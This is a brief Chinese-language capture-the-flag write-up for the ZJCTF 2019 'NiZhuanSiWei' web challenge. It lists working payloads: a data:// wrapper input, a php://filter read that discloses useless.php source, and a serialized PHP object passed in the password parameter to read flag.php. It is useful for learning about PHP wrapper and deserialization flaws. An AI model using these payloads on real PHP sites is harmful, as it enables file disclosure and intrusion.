[ZJCTF 2019]NiZhuanSiWei
打开主界面就是这个亚子 传入一个文件文件内容为 welcome to the zjctf 可以使用php伪协议或者data伪协议
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
绕过了第一层 随后,下面包含了一个文件,利用php伪协议查看一下useless.php的内容
file=php://filter/read=convert.base64-encode/resource=useless.php
输入以后,出现内容 将内容解码 随后将password进行序列化 随后输入
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看页面源代码发现flag 参考链接: https://www.cnblogs.com/gaonuoqi/p/12255777.html